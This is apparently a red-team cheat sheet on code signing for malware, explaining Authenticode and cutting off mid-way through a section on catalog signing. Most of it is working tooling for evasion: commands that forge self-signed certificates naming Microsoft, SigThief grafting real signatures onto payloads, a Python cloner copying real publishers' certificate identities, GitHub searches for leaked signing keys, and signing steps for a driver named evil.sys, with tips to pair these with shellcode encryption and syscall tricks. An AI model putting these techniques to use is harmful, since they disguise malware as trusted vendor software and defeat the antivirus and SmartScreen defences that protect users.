Legend:
[SIGN]= Signing technique |[SPOOF]= Spoofing/forgery method |[CERT]= Certificate operation |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[WIN]= Windows-specific
1. Why Signing Matters for Malware
What it means: Windows uses Authenticode signatures to establish trust in executables, DLLs, scripts, and drivers. A valid signature tells the OS and security products that a binary was produced by a known, trusted publisher and hasn't been tampered with since signing. AV/EDR products use signing status as a major trust signal — signed binaries get reduced scrutiny, while unsigned ones trigger immediate alerts.
The core problem (unsigned malware):
Unsigned loader.exe dropped to disk:
Windows SmartScreen:
├─ "Windows protected your PC" dialog
├─ Reputation: UNKNOWN (no signing history)
├─ Action: Block execution unless user clicks "More info"
└─ User friction → detection risk
AV / EDR:
├─ No signature = no trust anchor
├─ All bytes scanned at maximum sensitivity
├─ Behavior monitoring: high alert threshold
└─ MOTW (Mark of the Web) → extra restrictions
Why signing helps:
Signed loader.exe (valid cert, plausible publisher name):
Windows SmartScreen:
├─ Signed: YES (DigiCert issued, timestamp: 2024-01-15)
├─ Publisher: "Contoso Software LLC"
├─ Action: Allow execution silently or reduced warning
└─ Result: Binary runs without user alert
AV / EDR:
├─ Signed binary = lower initial scan priority
├─ Fewer heuristics triggered (implicit trust)
├─ EDR: behavioral monitoring still applies, but entry bar raised
└─ Result: Better chance of execution in locked-down environments
Why it matters for red teaming:
| Scenario | Unsigned | Signed (any cert) | Signed (EV/stolen) |
|---|---|---|---|
| SmartScreen prompt | Always shown | Suppressed (if reputable) | Suppressed |
| AV scan priority | Maximum | Reduced | Significantly reduced |
| Driver load (kernel) | Blocked | Blocked | Allowed (EV + WHQL) |
| PowerShell execution | Blocked (AllSigned) | Allowed | Allowed |
| MOTW restrictions | Applied | Partially bypassed | Bypassed |
| AppLocker bypass | Blocked | Possible bypass | Reliable bypass |
| EDR trust level | Untrusted | Trusted (less scrutiny) | Highly trusted |
The signing strategy stack (recommended):
Unsigned payload
└─ Self-signed cert (layer 1 — removes "unsigned" flag)
└─ Cloned cert (layer 2 — mimics real publisher identity)
└─ Timestamp (layer 3 — bypasses cert expiry checks)
└─ EV/stolen cert (layer 4 — maximum trust, SmartScreen reputation)
[OPSEC] Signing alone doesn't bypass behavioral detection. Combine with shellcode encryption, PPID spoofing, and indirect syscalls for full evasion.
2. How Authenticode Works (Windows PE Signing)
What it means: Authenticode is Microsoft's code signing standard for PE (Portable Executable) binaries. It embeds a PKCS#7/CMS signature inside the PE file's WIN_CERTIFICATE structure. The signature covers a hash of the PE file content (excluding the signature itself and certain PE header fields).
2.1 PE Signing Architecture
PE File Structure (after signing):
┌─────────────────────────────────────┐
│ DOS Header │
│ PE Header (OPTIONAL_HEADER) │
│ └─ CheckSum (patched at sign) │
│ └─ Security Directory Entry ─────┼──► Points to Signature Block
│ Section Table (.text, .data, ...) │
│ Sections │
│ [Padding] │
│ ┌───────────────────────────────┐ │
│ │ WIN_CERTIFICATE structure │ │
│ │ ├─ dwLength │ │
│ │ ├─ wRevision (0x0200) │ │
│ │ ├─ wCertificateType (PKCS#7) │ │
│ │ └─ bCertificate[] │ │
│ │ └─ PKCS#7 SignedData │ │
│ │ ├─ ContentInfo │ │
│ │ │ └─ SpcIndirectData│ │
│ │ │ └─ PE Hash │ │
│ │ ├─ DigestAlgorithm │ │
│ │ ├─ Signer Certificate│ │
│ │ ├─ Certificate Chain │ │
│ │ └─ Countersignature │ │
│ │ └─ Timestamp TSA │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────┘
2.2 What Gets Hashed (and What Doesn't)
Authenticode Hash Calculation — What IS included:
├─ PE header (most fields)
├─ All section data (.text, .data, .rsrc, etc.)
├─ Everything in the file except excluded regions
Authenticode Hash Calculation — What is EXCLUDED:
├─ CheckSum field in OPTIONAL_HEADER ← Can be modified freely
├─ Security Directory entry (RVA + Size) ← Points to signature block
├─ WIN_CERTIFICATE block itself ← The signature isn't in its own hash
└─ Regions after the last section (EOF padding)
Implication:
You can modify EOF padding without invalidating the signature.
→ This is used by malware to hide data after the signature.
→ Modifying any section byte WILL invalidate the signature.
2.3 Verification Flow
WinVerifyTrust() / CryptVerifyMessageSignature() flow:
1. Read WIN_CERTIFICATE from Security Directory
2. Parse PKCS#7 SignedData structure
3. Extract SpcIndirectDataContent → get embedded hash + algorithm
4. Recalculate hash of PE file (excluding exempt regions)
5. Compare: Embedded hash == Calculated hash?
├─ NO → Signature invalid (file was modified)
└─ YES → Continue
6. Build certificate chain from signer cert
7. Verify chain leads to trusted root CA (in Windows Cert Store)
├─ Untrusted root → "Unknown publisher" (but still signs)
└─ Trusted root → "Verified publisher"
8. Check countersignature (timestamp):
├─ Present → Check TSA timestamp (allows expired cert signing)
└─ Absent → Cert must be currently valid
9. Check revocation (CRL/OCSP):
├─ Revoked → Signature invalid
└─ Valid → TRUSTED
2.4 Inspect a Binary's Signature
# PowerShell — Check signature status
Get-AuthenticodeSignature -FilePath "C:\path\to\file.exe" | Format-List *
# Output fields:
# SignerCertificate : Certificate object
# TimeStamperCertificate : Timestamp cert
# Status : Valid / NotSigned / UnknownError / HashMismatch / NotTrusted
# StatusMessage : Human readable
# Path : File path
# Quick one-liner — check status only
(Get-AuthenticodeSignature "file.exe").Status
# Check all EXEs in a directory
Get-ChildItem "C:\Windows\System32\*.exe" | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.FullName
[PSCustomObject]@{
File = $_.Name
Status = $sig.Status
Signer = $sig.SignerCertificate.Subject
}
} | Format-Table -AutoSize
:: CMD — sigcheck (Sysinternals)
sigcheck.exe -a -v C:\path\to\file.exe
:: sigcheck output breakdown:
:: Verified: Signed
:: Signing date: Mon Jan 15 14:22:01 2024
:: Publisher: Contoso Software LLC
:: Company: Contoso
:: Description: ...
:: Product: ...
:: Prod version: ...
:: File version: ...
:: MachineType: 64-bit
:: Binary Version: ...
:: OriginalName: ...
:: Internal Name: ...
:: Copyright: ...
:: Comments: ...
# Python — Parse PE signature using pefile
import pefile
import struct
pe = pefile.PE("file.exe")
# Check if Security Directory exists (index 4)
if hasattr(pe, 'DIRECTORY_ENTRY_SECURITY'):
sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
print(f"[+] Signature block found")
print(f" RVA: 0x{sec_dir.VirtualAddress:08x}")
print(f" Size: 0x{sec_dir.Size:08x} ({sec_dir.Size} bytes)")
# Read WIN_CERTIFICATE header
offset = sec_dir.VirtualAddress # Raw offset for flat files
data = pe.__data__[offset:offset+8]
length, revision, cert_type = struct.unpack('<IHH', data)
print(f" Length: {length}")
print(f" Revision: 0x{revision:04x}")
print(f" Type: 0x{cert_type:04x} (2=PKCS#7)")
else:
print("[-] No signature found — binary is unsigned")
3. Certificate Types & Trust Hierarchy
What it means: Not all code signing certificates are equal. Windows maintains a trust hierarchy based on the issuing Certificate Authority (CA) and certificate type. Different cert types have different trust levels, costs, and AV/SmartScreen impact.
3.1 Certificate Type Comparison
Certificate Trust Hierarchy (low → high):
[1] Self-Signed Certificate
├─ Issued by: Yourself (openssl, makecert, New-SelfSignedCertificate)
├─ Trust: NONE (root not in Windows Cert Store)
├─ SmartScreen: Still shows "Unknown publisher" warning
├─ Cost: Free
├─ Revocable: NO
└─ Use: Removes "unsigned" flag, bypasses some basic checks
[2] OV Code Signing Certificate (Organization Validation)
├─ Issued by: DigiCert, Sectigo, Comodo, GlobalSign, etc.
├─ Trust: HIGH (CA root in Windows Cert Store)
├─ SmartScreen: Reduced warning, builds reputation over time
├─ Cost: ~$200–$500/year
├─ Revocable: YES (CRL/OCSP)
└─ Use: Legitimate signing, SmartScreen reputation building
[3] EV Code Signing Certificate (Extended Validation)
├─ Issued by: DigiCert, Sectigo (after thorough vetting)
├─ Trust: VERY HIGH (instant SmartScreen reputation)
├─ SmartScreen: Bypasses reputation system immediately
├─ Cost: ~$500–$1000/year + hardware token required
├─ Revocable: YES
└─ Use: Maximum trust, kernel drivers (with WHQL), instant bypass
[4] Stolen/Leaked Certificate
├─ Issued by: Any CA (obtained through compromise)
├─ Trust: SAME AS ORIGINAL (until revoked)
├─ SmartScreen: Full bypass (real cert, real trust)
├─ Cost: Free (but criminal liability)
├─ Revocable: YES (when discovered)
└─ Use: APT-level operations (ASUS, CCleaner, 3CX supply chain)
[5] Cloned/Spoofed Certificate (CarbonCopy technique)
├─ Issued by: Yourself (mimics a real cert's metadata)
├─ Trust: NONE (same as self-signed, root not trusted)
├─ SmartScreen: Shows spoofed publisher name ("Microsoft Corp")
├─ Cost: Free
├─ Revocable: NO
└─ Use: Social engineering, "looks signed by Microsoft" visually
3.2 Certificate Chain Inspection
# PowerShell — Inspect certificate chain
$sig = Get-AuthenticodeSignature "C:\Windows\System32\notepad.exe"
$cert = $sig.SignerCertificate
# Print the chain
$chain = New-Object System.Security.Cryptography.X509Certificates.X509Chain
$chain.Build($cert)
$chain.ChainElements | ForEach-Object {
Write-Host "Subject: $($_.Certificate.Subject)"
Write-Host "Issuer: $($_.Certificate.Issuer)"
Write-Host "Thumbprint: $($_.Certificate.Thumbprint)"
Write-Host "Valid: $($_.Certificate.NotBefore) → $($_.Certificate.NotAfter)"
Write-Host "---"
}
# Linux — inspect cert chain embedded in PE with osslsigncode
osslsigncode verify -in file.exe -v
# OpenSSL — extract and parse PKCS#7 block
# First: extract the signature block using python/sigcheck/pedump
openssl pkcs7 -inform DER -in sig.p7b -print_certs -text -noout
3.3 List Trusted Root CAs (Windows)
# List all trusted root CAs in Windows cert store
Get-ChildItem -Path "Cert:\LocalMachine\Root" |
Select-Object Subject, Thumbprint, NotAfter |
Sort-Object Subject |
Format-Table -AutoSize
# Find a specific CA
Get-ChildItem -Path "Cert:\LocalMachine\Root" |
Where-Object { $_.Subject -like "*DigiCert*" } |
Select-Object Subject, Thumbprint, NotAfter
4. Self-Signed Certificate Signing
What it means: Generate your own code signing certificate without purchasing from a CA. The cert will not be trusted by Windows (chain doesn't lead to a trusted root), but it does make the binary "signed" — removing the "unsigned" flag that triggers maximum AV scrutiny. Useful for bypassing basic signature checks and AppLocker whitelisting by publisher name on internal systems where you've installed your own root CA.
4.1 Generate Self-Signed Cert (Windows — PowerShell)
# Generate a code signing certificate (self-signed)
$cert = New-SelfSignedCertificate `
-Type CodeSigningCert `
-Subject "CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" `
-KeyAlgorithm RSA `
-KeyLength 2048 `
-HashAlgorithm SHA256 `
-CertStoreLocation "Cert:\CurrentUser\My" `
-NotAfter (Get-Date).AddYears(5) `
-FriendlyName "My Code Signing Cert"
# View the cert's thumbprint (needed for signtool)
Write-Host "Thumbprint: $($cert.Thumbprint)"
# Export as PFX (with password)
$password = ConvertTo-SecureString -String "P@ssw0rd123" -Force -AsPlainText
Export-PfxCertificate `
-Cert "Cert:\CurrentUser\My\$($cert.Thumbprint)" `
-FilePath "C:\certs\codesign.pfx" `
-Password $password
# Export cert only (public key, no private key)
Export-Certificate `
-Cert "Cert:\CurrentUser\My\$($cert.Thumbprint)" `
-FilePath "C:\certs\codesign.cer" `
-Type CERT
Write-Host "[+] Certificate created and exported"
4.2 Install Self-Signed Root CA (Make it Trusted on Target)
# To make your self-signed cert "trusted" on a machine you control:
# 1. Export the cert as a root CA cert
# 2. Import into Trusted Root CA store (requires admin)
# Import into Trusted Root Certification Authorities (machine-wide)
Import-Certificate `
-FilePath "C:\certs\codesign.cer" `
-CertStoreLocation "Cert:\LocalMachine\Root"
# Now binaries signed with this cert will show as "Verified publisher"
# on THIS machine only
# Verify it's in the store
Get-ChildItem "Cert:\LocalMachine\Root" |
Where-Object { $_.Subject -like "*Microsoft Windows*" } |
Select-Object Subject, Thumbprint
4.3 Generate Self-Signed Cert (Linux — OpenSSL)
# Generate RSA private key (2048-bit)
openssl genrsa -out codesign.key 2048
# Generate certificate signing request (CSR)
# Fill in fields to mimic a real publisher
openssl req -new -key codesign.key -out codesign.csr \
-subj "/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Microsoft Windows"
# Self-sign the certificate (valid 5 years)
openssl x509 -req -days 1825 \
-in codesign.csr \
-signkey codesign.key \
-out codesign.crt \
-extensions v3_code_sign
# Create extensions file for code signing usage
cat > v3_code_sign.ext << 'EOF'
[v3_code_sign]
keyUsage = critical, digitalSignature
extendedKeyUsage = critical, codeSigning
basicConstraints = CA:FALSE
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid,issuer
EOF
# Re-sign with extensions
openssl x509 -req -days 1825 \
-in codesign.csr \
-signkey codesign.key \
-out codesign.crt \
-extfile v3_code_sign.ext \
-extensions v3_code_sign
# Bundle into PFX (for Windows signtool)
openssl pkcs12 -export \
-out codesign.pfx \
-inkey codesign.key \
-in codesign.crt \
-passout pass:P@ssw0rd123
# Verify the cert
openssl x509 -in codesign.crt -text -noout | grep -E "Subject:|Issuer:|Not|Extended"
4.4 Sign a Binary with Self-Signed Cert (signtool.exe)
:: Sign using thumbprint (from New-SelfSignedCertificate output)
signtool.exe sign ^
/sha1 "THUMBPRINT_HERE" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
/v ^
"C:\payload\loader.exe"
:: Sign using PFX file
signtool.exe sign ^
/f "C:\certs\codesign.pfx" ^
/p "P@ssw0rd123" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
/d "Windows System Component" ^
/du "https://www.microsoft.com" ^
/v ^
"C:\payload\loader.exe"
:: Verify signature
signtool.exe verify /pa /v "C:\payload\loader.exe"
[DETECT] Self-signed certs are trivially identified — the issuer == subject and the chain doesn't resolve to a known root CA. EDRs flag this pattern.
5. Stolen / Leaked Authenticode Certificates
What it means: Threat actors compromise software vendors and exfiltrate their private code signing certificates and keys. The stolen cert is legitimate — it chains to a real trusted CA, has real SmartScreen reputation, and bypasses all signature checks until the CA revokes it (which takes time after discovery).
5.1 Real-World Examples
Notable stolen/abused code signing certificates:
[2013] Adobe Systems
├─ Attackers signed malware with Adobe's valid cert
├─ Discovered by Adobe, cert revoked within hours
└─ Lesson: Even tier-1 vendors get compromised
[2017] ASUS Live Update (ShadowHammer — APT41)
├─ Legitimate ASUS signing cert used to sign trojanized update
├─ Signed binary passed all signature checks
├─ ~500,000 machines received signed malware
└─ Cert: Valid ASUS cert → revoked after discovery
[2017] CCleaner (Avast)
├─ Build pipeline compromised — malware inserted before signing
├─ Final binary had valid Avast Authenticode signature
├─ 2.27 million downloads of signed malware
└─ Lesson: Signing happens AFTER compilation — compromise the build
[2022] 3CX (Lazarus Group / North Korea)
├─ 3CX's build system compromised
├─ Trojanized installer signed with valid 3CX certificate
├─ Target: financial institutions, infrastructure
└─ Detection was delayed because signature was 100% valid
[2023] Windows kernel drivers (multiple)
├─ Microsoft WHQL-signed malicious drivers discovered
├─ Exploited the extended signing period policy
└─ Used in: BlackByte, Scattered Spider, Lazarus operations
5.2 Find Leaked Certificates (OPSEC Research)
# Known public sources for leaked/compromised certs (for research):
# 1. Search GitHub for leaked PFX files
# GitHub Dorking:
# filename:*.pfx password
# filename:*.p12 extension:p12
# "-----BEGIN CERTIFICATE-----" extension:pem codesigning
# 2. VirusTotal Intelligence (requires subscription)
# Search: tag:signed type:peexe
# Then correlate signatures with revoked cert lists
# 3. CRL (Certificate Revocation List) — see what's been revoked
# DigiCert CRL: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl
# Parse CRL to find recently revoked code signing certs
# Download and parse a CRL
openssl crl -inform DER -in crl.crl -text -noout | \
grep -A5 "Revoked Certificate"
# 4. CTI feeds — some leak databases publish hashes of signed malware
# MalwareBazaar: https://bazaar.abuse.ch/
# Query: signature="Microsoft Corporation" (find malware pretending to be MS)
5.3 Verify a Certificate is Still Valid (Before Use)
#!/usr/bin/env python3
# check_cert_status.py — Check if a code signing cert is still valid / not revoked
import subprocess
import sys
from datetime import datetime, timezone
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.x509.ocsp import OCSPRequestBuilder
import requests
def load_pfx(pfx_path: str, password: bytes):
"""Load a PFX and return the certificate."""
from cryptography.hazmat.primitives.serialization import pkcs12
with open(pfx_path, "rb") as f:
pfx_data = f.read()
private_key, cert, chain = pkcs12.load_key_and_certificates(
pfx_data, password, default_backend()
)
return cert, chain
def check_expiry(cert):
"""Check if certificate is expired."""
now = datetime.now(timezone.utc)
not_after = cert.not_valid_after_utc
not_before = cert.not_valid_before_utc
print(f"[*] Certificate validity:")
print(f" Not Before: {not_before}")
print(f" Not After: {not_after}")
print(f" Now: {now}")
if now < not_before:
print("[-] Certificate is NOT YET VALID")
return False
elif now > not_after:
print("[-] Certificate is EXPIRED")
return False
else:
days_left = (not_after - now).days
print(f"[+] Certificate is VALID ({days_left} days remaining)")
return True
def get_cert_info(cert):
"""Print certificate details."""
print(f"[*] Subject: {cert.subject.rfc4514_string()}")
print(f"[*] Issuer: {cert.issuer.rfc4514_string()}")
print(f"[*] Serial: {cert.serial_number:x}")
print(f"[*] Thumbprint: {cert.fingerprint(cert.signature_hash_algorithm).hex()}")
# ─── Usage ───────────────────────────────────────────────────
pfx_path = sys.argv[1] if len(sys.argv) > 1 else "codesign.pfx"
password = sys.argv[2].encode() if len(sys.argv) > 2 else b"P@ssw0rd123"
cert, chain = load_pfx(pfx_path, password)
get_cert_info(cert)
is_valid = check_expiry(cert)
if is_valid:
print("\n[+] Cert is usable for signing (verify revocation manually via CRL)")
else:
print("\n[-] Cert is not usable")
[OPSEC] Using stolen certs leaves artifacts. The cert serial number, thumbprint, and signer name are all logged by EDRs and Windows Event Log. These become IOCs in threat intel databases.
6. Certificate Cloning (Sigthief / CarbonCopy)
What it means: Certificate cloning copies the metadata (Subject, Issuer, validity dates, serial number) from a real trusted certificate (e.g., Microsoft, Google, Nvidia) and creates a new self-signed certificate that looks identical in the signer info displayed to users and in basic checks. The chain doesn't validate, but the displayed publisher name is convincing. Combined with sigthief, you can graft a real certificate's signature block from a legitimate binary onto your malware.
6.1 Sigthief — Graft Real Signature onto Malware
How Sigthief works:
Legitimate binary (notepad.exe):
├─ Valid Microsoft Authenticode signature
├─ WIN_CERTIFICATE block at EOF
└─ Hash covers notepad.exe's content
Sigthief operation:
├─ Extract WIN_CERTIFICATE block from notepad.exe
├─ Strip WIN_CERTIFICATE from malware.exe
├─ Append notepad.exe's WIN_CERTIFICATE to malware.exe
└─ Update Security Directory RVA/Size in malware.exe header
Result (malware.exe):
├─ Has a Microsoft signature block
├─ Displayed signer: "Microsoft Windows"
├─ BUT: Hash mismatch → WinVerifyTrust() returns error
└─ HOWEVER: Many AV products only check presence, not validity
# Clone: https://github.com/secretsquirrel/SigThief
# Install
git clone https://github.com/secretsquirrel/SigThief
cd SigThief
# Extract signature from legitimate binary and add to your payload
python3 sigthief.py \
-i "C:\Windows\System32\notepad.exe" \
-t "payload.exe" \
-o "signed_payload.exe"
# Check the result
python3 sigthief.py -i signed_payload.exe -r # View cert info
# Remove signature (if needed)
python3 sigthief.py -i signed_payload.exe -s # Strip signature
# Options:
# -i Input legitimate binary (cert source)
# -t Target binary (your payload)
# -o Output filename
# -r Read/display signature info
# -s Strip signature
# -g Grab signature block and save to file
6.2 CarbonCopy — Clone a Certificate's Identity
# CarbonCopy: https://github.com/paranoidninja/CarbonCopy
# Clones a real cert's METADATA and creates a self-signed cert with same details
git clone https://github.com/paranoidninja/CarbonCopy
pip3 install pyOpenSSL
# Clone Microsoft's cert identity and sign your payload
python3 CarbonCopy.py \
www.microsoft.com \ # Pull cert from this domain
443 \ # HTTPS port
payload.exe \ # Your payload to sign
signed_payload.exe # Output
# What it does:
# 1. Connects to www.microsoft.com:443
# 2. Pulls the TLS certificate chain
# 3. Creates a new self-signed cert with SAME Subject/Issuer details
# 4. Signs payload.exe with this cloned cert
# 5. Output shows "Microsoft Corporation" as signer
# You can clone ANY company's cert:
python3 CarbonCopy.py windows.microsoft.com 443 payload.exe output.exe
python3 CarbonCopy.py www.google.com 443 payload.exe output.exe
python3 CarbonCopy.py store.steampowered.com 443 payload.exe output.exe
6.3 Manual Certificate Cloning (Python)
#!/usr/bin/env python3
# clone_cert.py — Clone a real cert's metadata into a self-signed code signing cert
import ssl
import socket
import subprocess
from OpenSSL import crypto
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.backends import default_backend
import datetime
def fetch_cert_from_host(hostname: str, port: int = 443) -> x509.Certificate:
"""Fetch TLS certificate from a real website."""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((hostname, port), timeout=10) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as ssock:
der_cert = ssock.getpeercert(binary_form=True)
return x509.load_der_x509_certificate(der_cert, default_backend())
def clone_and_sign(real_cert: x509.Certificate, output_pfx: str, password: str):
"""Create a new self-signed cert cloning the real cert's identity."""
# Generate new RSA key pair
key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# Clone the subject from the real cert
real_subject = real_cert.subject
# Build cloned certificate
builder = x509.CertificateBuilder()
builder = builder.subject_name(real_subject) # Clone subject
builder = builder.issuer_name(real_subject) # Self-signed = issuer == subject
builder = builder.public_key(key.public_key())
builder = builder.serial_number(real_cert.serial_number) # Clone serial
builder = builder.not_valid_before(real_cert.not_valid_before_utc) # Clone validity
builder = builder.not_valid_after(real_cert.not_valid_after_utc)
# Add code signing extended key usage
builder = builder.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CODE_SIGNING]),
critical=True
)
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=True, content_commitment=False,
key_encipherment=False, data_encipherment=False,
key_agreement=False, key_cert_sign=False,
crl_sign=False, encipher_only=False, decipher_only=False
),
critical=True
)
builder = builder.add_extension(
x509.BasicConstraints(ca=False, path_length=None),
critical=True
)
# Self-sign with SHA256
cert = builder.sign(key, hashes.SHA256(), default_backend())
# Export as PFX
from cryptography.hazmat.primitives.serialization import pkcs12
pfx_data = pkcs12.serialize_key_and_certificates(
name=b"Cloned Code Signing",
key=key,
cert=cert,
cas=None,
encryption_algorithm=serialization.BestAvailableEncryption(password.encode())
)
with open(output_pfx, "wb") as f:
f.write(pfx_data)
print(f"[+] Cloned certificate saved to: {output_pfx}")
print(f"[*] Subject: {cert.subject.rfc4514_string()}")
print(f"[*] Valid: {cert.not_valid_before_utc} → {cert.not_valid_after_utc}")
# ─── Usage ───────────────────────────────────────────────────
target_host = "www.microsoft.com"
print(f"[*] Fetching certificate from {target_host}...")
real_cert = fetch_cert_from_host(target_host)
print(f"[*] Real cert subject: {real_cert.subject.rfc4514_string()}")
clone_and_sign(real_cert, "cloned_codesign.pfx", "P@ssw0rd123")
print("[+] Now sign your payload with: signtool.exe sign /f cloned_codesign.pfx ...")
[DETECT] Cloned certs fail WinVerifyTrust() full chain validation. EDRs that call WinVerifyTrust() with full policy (not just presence check) will flag these. Basic AV may not check chain validity.
7. Timestamp Spoofing
What it means: A timestamp countersignature (from a Timestamp Authority/TSA) records the exact time a binary was signed. This allows the binary to remain "valid" even after the signing certificate expires — Windows checks whether the cert was valid at the time of signing, not at the current time. Attackers abuse this by: (a) signing with a currently valid cert and timestamping, so the binary remains trusted after the cert expires or is revoked; or (b) back-dating the timestamp to make malware appear to have been signed years ago (blending in with old software).
7.1 Timestamp Servers (Public, Free)
Public TSA (Timestamp Authority) servers:
DigiCert:
http://timestamp.digicert.com
http://timestamp.digicert.com/sha256/timestamp
Sectigo (Comodo):
http://timestamp.comodoca.com
http://timestamp.comodoca.com/authenticode
http://timestamp.sectigo.com
GlobalSign:
http://timestamp.globalsign.com/scripts/timstamp.dll
http://timestamp.globalsign.com/?signature=sha2
Entrust:
http://timestamp.entrust.net/TSS/AuthenticodeTS
QuoVadis:
http://tsa.quovadisglobal.com/TSS/HttpTspServer
Free (RFC 3161 compliant):
http://timestamp.apple.com/ts01
http://tsa.starfieldtech.com
7.2 Sign with Timestamp
:: Sign AND timestamp in one signtool call
signtool.exe sign ^
/f "codesign.pfx" ^
/p "P@ssw0rd123" ^
/fd SHA256 ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
/v ^
payload.exe
:: /tr = RFC 3161 timestamp server (modern, recommended)
:: /td = timestamp digest algorithm (must match /fd)
:: /t = old-style (Authenticode) timestamp (legacy, avoid)
:: Verify timestamp was applied
signtool.exe verify /pa /v payload.exe
:: Look for: "Signed successfully." + "Timestamp verified."
# Linux — sign with timestamp using osslsigncode
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-h sha256 \
-t http://timestamp.digicert.com \
-in payload.exe \
-out signed_payload.exe
# With RFC 3161 timestamp (recommended)
osslsigncode sign \
-pkcs12 codesign.pfx \
-pass P@ssw0rd123 \
-h sha256 \
-ts http://timestamp.digicert.com \
-in payload.exe \
-out signed_payload.exe
7.3 Read Timestamp from Signed Binary
# PowerShell — Read the timestamp
$sig = Get-AuthenticodeSignature "payload.exe"
$ts_cert = $sig.TimeStamperCertificate
if ($ts_cert) {
Write-Host "[+] Timestamp found:"
Write-Host " TSA Subject: $($ts_cert.Subject)"
Write-Host " Timestamp: $($ts_cert.NotBefore)" # Approximate signing time
} else {
Write-Host "[-] No timestamp (binary validity ends with cert expiry)"
}
#!/usr/bin/env python3
# read_timestamp.py — Extract timestamp from PE Authenticode signature
import sys
from asn1crypto import cms, core
import pefile
import struct
def extract_signature_block(pe_path: str) -> bytes:
"""Extract the raw PKCS#7 signature block from a PE."""
pe = pefile.PE(pe_path)
sec_dir = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
if sec_dir.Size == 0:
return None
# WIN_CERTIFICATE header is 8 bytes, skip it
offset = sec_dir.VirtualAddress + 8
size = sec_dir.Size - 8
return pe.__data__[offset:offset+size]
def read_timestamp(pe_path: str):
sig_block = extract_signature_block(pe_path)
if not sig_block:
print("[-] No signature found")
return
# Parse PKCS#7 SignedData
content_info = cms.ContentInfo.load(sig_block)
signed_data = content_info['content']
# Look for countersignature (timestamp) in signer infos
for signer_info in signed_data['signer_infos']:
unsigned_attrs = signer_info['unsigned_attrs']
for attr in unsigned_attrs:
attr_type = attr['type'].native
if attr_type in ('countersignature', '1.2.840.113549.1.9.6'):
print("[+] Countersignature (timestamp) found")
# The value contains another SignerInfo (the TSA's)
for val in attr['values']:
ts_signer = cms.SignerInfo.load(val.contents)
ts_time = ts_signer['signed_attrs'].native
print(f" Signing time: {ts_time.get('signing_time', 'unknown')}")
read_timestamp(sys.argv[1] if len(sys.argv) > 1 else "payload.exe")
[OPSEC] Timestamp servers log requests. High-volume signing requests to public TSAs are visible and may be flagged by threat intel. Use different TSAs across operations.
8. Cross-Certificate Abuse
What it means: Windows kernel driver signing requires a specific trust chain. Historically (pre-2015), attackers used SHA-1 cross-certificates to sign kernel drivers without WHQL approval. Cross-certificates are special CA certs issued by Microsoft that chain a third-party CA back to the Microsoft Root. With the right cross-certificate and an OV/EV signing cert, you could sign kernel drivers.
8.1 Cross-Certificate Architecture
Driver Signing Trust Chain (Legacy — pre-Win10 UEFI Secure Boot):
Microsoft Root CA
└─ [Cross Certificate] → DigiCert CA (or other CA)
└─ [Code Signing Cert] → Vendor Certificate
└─ [Signed Driver] → evil.sys
Modern (Win10 post-2021):
New kernel mode drivers must be:
├─ WHQL-certified (by Microsoft's Hardware Lab Kit testing)
├─ OR have an EV code signing cert + submitted to Dev Portal
└─ OR target Windows 7/8 (legacy signing accepted with bcdedit)
8.2 Download Microsoft Cross-Certificates
# Download cross-certificates from Microsoft
$cross_cert_url = "http://www.microsoft.com/pkiops/certs/MicCorUEFCA2011_2011-06-27.crt"
Invoke-WebRequest -Uri $cross_cert_url -OutFile "cross_cert.crt"
# Common cross-certificate URLs:
# http://www.microsoft.com/pkiops/certs/MicCorUEFCA2011_2011-06-27.crt
# http://www.microsoft.com/pkiops/certs/MicCodSigPCA2011_2011-07-08.crt
# https://www.microsoft.com/pkiops/certs/MicRooCerAut2011_2011_03_22.crt
# Import cross-certificate
Import-Certificate -FilePath "cross_cert.crt" -CertStoreLocation "Cert:\LocalMachine\CA"
8.3 Sign Driver with Cross-Certificate (Legacy — Testing)
:: Sign a kernel driver using cross-certificate (legacy method)
:: Requires: valid EV/OV code signing cert + cross-cert + inf2cat
:: Step 1: Create catalog file from INF
inf2cat.exe /driver:"C:\driver" /os:10_X64
:: Step 2: Sign the catalog
signtool.exe sign ^
/fd SHA256 ^
/f "codesign.pfx" ^
/p "P@ssw0rd123" ^
/ac "cross_cert.crt" ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
"C:\driver\driver.cat"
:: Step 3: Sign the SYS file itself
signtool.exe sign ^
/fd SHA256 ^
/f "codesign.pfx" ^
/p "P@ssw0rd123" ^
/ac "cross_cert.crt" ^
/tr http://timestamp.digicert.com ^
/td SHA256 ^
"C:\driver\evil.sys"
:: Enable test signing mode (for testing on your own machine)
bcdedit /set testsigning on
:: Restart required. Adds watermark to desktop: "Test Mode"
[OPSEC] bcdedit /set testsigning on is easily detected. It sets a registry flag and is logged. Use for lab testing only.
9. Catalog Signing Abuse
What it means: Windows uses catalog files (.cat) to sign files without embedding a signature inside them. A catalog contains hashes of multiple files and a single Authenticode signature over the catalog. Any file whose hash is in a trusted catalog is considered "signed" by Windows — even if the file itself has no embedded signature. This is used extensively by Windows Updates and driver packages.
9.1 How Catalog Signing Works
Catalog File (.cat) structure:
CatalogAttributes
└─ PKCS#7 SignedData
├─ Hash of file1.sys
├─ Hash of file2.dll
├─ Hash of file3.exe
└─ Authenticode Signature (over all hashes)
Windows verification:
